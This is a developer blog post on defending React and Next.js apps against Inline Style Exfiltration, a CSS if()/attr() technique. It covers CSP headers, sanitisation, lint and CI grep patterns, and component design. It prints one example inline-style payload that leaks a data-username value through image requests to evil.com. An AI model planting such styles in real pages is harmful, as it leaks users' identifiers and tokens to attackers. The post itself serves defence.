How React/Next.js Developers Can Defend Against Inline Style Exfiltration (ISE)
In August 2025, Gareth Heyes (PortSwigger) demonstrated a new attack vector called Inline Style Exfiltration (ISE). Using nothing but inline styles, an attacker can exfiltrate attribute values from the DOM — no external stylesheets, no selectors.
⚠️ At the time of writing, this technique worked in Chromium-based browsers.
How the attack works
The breakthrough came with the CSS if() function. It lets developers (and attackers) write conditional expressions inside CSS.
<div style='
--val: attr(data-username);
--steal: if(style(--val:"alice"): url(https://evil.com/alice);
else: url(https://evil.com/bob));
background: image-set(var(--steal));
' data-username="bob">Test</div>
-
attr(data-username)extracts the attribute. -
if(style(--val:"alice") …)checks if the value matches. -
image-set()triggers a request to the attacker’s server when the match is found.
By chaining multiple if() conditions, an attacker can brute-force attribute values like data-uid or data-username.
Why React/Next.js apps are at risk
React makes it tempting to pass props straight into style or data-* attributes. Combined with ISE, this can leak user IDs, usernames, or even tokens if they are accidentally exposed in DOM attributes.
Mitigation strategies
1. Never map raw user input to style
❌ Bad:
<div style={{ backgroundImage: userInput }} />
✅ Good:
const bgToken = ALLOWED_BG[userChoice] ?? 'bg-default';
return <div className={bgToken} />;
Allow only whitelisted units (px, rem, %) and color formats (#RRGGBB). Strip out functions like url(), if(), attr(), image-set(), style().
2. Don’t store secrets in data-*
Never put IDs, emails, tokens, or roles in data-*. Keep them in React state, context, or HttpOnly cookies.
3. Use CSP to block inline styles
Add a strict Content-Security-Policy. Critical piece: disallow style="" attributes.
Content-Security-Policy:
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-<nonce>';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
-
style-src-attr 'none'blocks inline style attributes. - Ideally, you’d use
style-src-elem 'nonce-...'with nonces for<style>tags. - In Next.js this is tricky because the framework injects its own styles.
Practical alternatives:
- Start with
style-src-elem 'self'. - Or use hashes (
sha256-...) for critical inline styles that Next.js generates.
👉 See official Next.js docs on CSP
In Next.js
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
style-src 'self';
style-src-attr 'none';
style-src-elem 'self' 'nonce-__INLINE_STYLE_NONCE__';
img-src 'self' https://cdn.example.com;
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
`.replace(/\s{2,}/g, ' ')
}
];
module.exports = {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
}
};
4. Sanitise user-generated HTML
If you allow Markdown or WYSIWYG editors:
- Use DOMPurify/rehype-sanitize on the server.
- Forbid
styleattributes (FORBID_ATTR: ['style']). - If
stylemust be allowed, enforce a strict allowlist (e.g.color,font-sizeonly).
5. Linting & CI
- ESLint rule: forbid
dangerouslySetInnerHTMLand raw strings instyle. - Grep/regex in CI for suspicious CSS functions (
url(,if(,attr(,image-set(). - Ensure no sensitive
data-*attributes in JSX.
6. Component design
Expose enums or theme tokens as props, never raw CSS.
❌ Instead of:
<Button color={userInput} />
✅ Do:
<Button variant={userChoice === "danger" ? "danger" : "primary"} />
7. Monitoring
ISE often brute-forces attributes by making dozens of tiny requests (/1, /2, /3).
- Use CSP
report-to/report-urito catch violations. - Alert on suspicious requests in your CDN or logs.
Review checklist
- No
unsafe-inlinein CSP. -
style-src-attr 'none'enabled. -
style-src-elemrestricted (self, nonces, or hashes). -
img-srcandconnect-srcrestricted to trusted domains. This prevents not only ISE leaks but also classic data exfiltration via<img src>or fetch. - No raw input mapped into
styleor CSS variables. - Sensitive data not in
data-*. - Sanitisers strip or restrict
style. - Lint rules enforce safe patterns.
- UGC rendered in sandbox/isolated domains.
Diagram: How data-uid leaks via ISE
Victim's browser:
<div data-uid="5">
Inline CSS conditionals:
if(data-uid="1") → /1
...
if(data-uid="5") → /5
Attacker's server:
Logs request /5
For clarity, the diagram is simplified. Real ISE uses inline style conditionals (if(), style()).
Conclusion
CSS is no longer “just declarative.” With if(), it now supports conditional logic — and new risks.
For Next.js apps, the recipe is simple:
- no inline styles from data
- strict CSP with
style-src-attr 'none' - sanitise aggressively
- design components around tokens, not raw CSS
Top comments (1)
That f-ckin awesome, no bullsh-t, top content